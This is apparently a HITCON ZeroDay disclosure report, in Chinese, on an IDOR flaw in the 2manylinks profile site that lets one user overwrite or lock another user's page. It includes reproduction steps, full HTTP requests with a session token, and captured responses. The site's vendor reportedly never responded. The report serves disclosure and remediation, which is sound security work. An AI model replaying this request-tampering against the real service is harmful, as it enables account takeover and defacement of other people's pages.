Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01058
- Vendor: 台酷拉
- Title: 2manylinks 網站個人介紹頁面IDOR
- Introduction: 使用者可以使用IDOR漏洞奪取他人帳號
處理狀態
目前狀態
公開
Last Update : 2025/10/25
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/08/25 14:52:37 : 新提交 (由 Tobydog 更新此狀態)
- 2025/08/25 14:57:15 : 新提交 (由 Tobydog 更新此狀態)
- 2025/08/27 10:01:57 : 新提交 (由 Tobydog 更新此狀態)
- 2025/08/29 14:23:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/02 11:22:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/02 11:22:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/02 11:22:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/25 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01058
- 通報者:tobydog0501 (Tobydog)
- 風險:高
- 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)
參考資料
攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://links.taicoolah.com
敘述
描述
編輯個人資料的功能沒有正確檢查頁面的擁有者。
因此,其他使用者即使並非該頁面的擁有者,也可以執行修改動作。
重現步驟
-
以攻擊者帳號登入
-
尋找受害者頁面
-
利用該頁面獲取userId
-
嘗試編輯攻擊者自己的頁面,並攔截請求,請求應該長得像這樣:
POST /manage/settings HTTP/2 Host: links.taicoolah.com Cookie: session=ATTACKER_VALID_SESSION OTHER HEADERS ARE SKIPPED ["ATTACKER_USERID",{"enabled":1,......,"theme":"dark"} -
將body中的userID 改成目標的userID, 即可將修改後的資料上傳至受害者頁面
PoC
攻擊者: [email protected]
受害者: [email protected]
攻擊者頁面: /tts
受害者頁面: /bbb
以攻擊者身份登入,並訪問/bbb,得到回應
HTTP/2 200 OK
Date: Mon, 25 Aug 2025 06:45:33 GMT
Content-Type: text/x-component
OTHER HEADERS ARE SKIPPED
0:{"a":"$@1","f":"","b":"3PkVIk5bxg_Ethn5ifX7A"}
1:{"ok":true,"message":"資料成功返回","profile":{"userId":"EHvjI3qi0XI5agIHwpe7a3ZBcI08bWZMMOtg",......
擷取 "EHvjI3qi0XI5agIHwpe7a3ZBcI08bWZMMOtg"
進入https://links.taicoolah.com/manage/settings 並進行編輯,如設定密碼使受害者無法正常使用、或更改其資料
使用如Burp Suite等工具,攔截此請求
POST /manage/settings HTTP/2
Host: links.taicoolah.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6ImRldkB0b2J5ZG9nLm9yZyIsInVzZXJJZCI6IkN5U1B1SGZiZHhaRE8ySVFjdElGaDUxckFEV216RWtuQk0yUSIsIm5hbWUiOiJUb2J5IHRlc3QiLCJpYXQiOjE3NTYxMDAyMjAsImV4cCI6MTc1NjcwNTAyMH0.ztKQsMq_wh7b8VXpCphUhpgl-8vTf74RhWPqu3ID85A
OTHER HEADERS ARE SKIPPED
["CySPuHfbdxZDO2IQctIFh51rADWmzEknBM2Q",{"enabled":1,"avatar":"https://pub-132691a0602b443190b9962cba510400.r2.dev/items/CySPuHfbdxZDO2IQctIFh51rADWmzEknBM2Q/wk7q579fzrxgjzpg.html","backgroundMode":"image","backgroundValue":"https://pub-132691a0602b443190b9962cba510400.r2.dev/items/CySPuHfbdxZDO2IQctIFh51rADWmzEknBM2Q/iknbldgzefbtz5jl.svg","gradientStartColor":"","gradientEndColor":"","gradientDirection":"$undefined","description":"This account is hacked by toby test, I don't need a password","displayName":"Toby Test2 is hacked","lockEnabled":0,"lockCode":"$undefined","theme":"dark"}]
將第一項CySPuHfbdxZDO2IQctIFh51rADWmzEknBM2Q修改為EHvjI3qi0XI5agIHwpe7a3ZBcI08bWZMMOtg
即可Take over受害者的頁面
風險
導致資料遭竄改,且可以設定密碼使該頁面無法正常運作。
CVSS 3.1: https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
修補建議
## 修復建議
在執行動作時,必須檢查 Cookie 中的使用者是否確實是該物件的擁有者。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。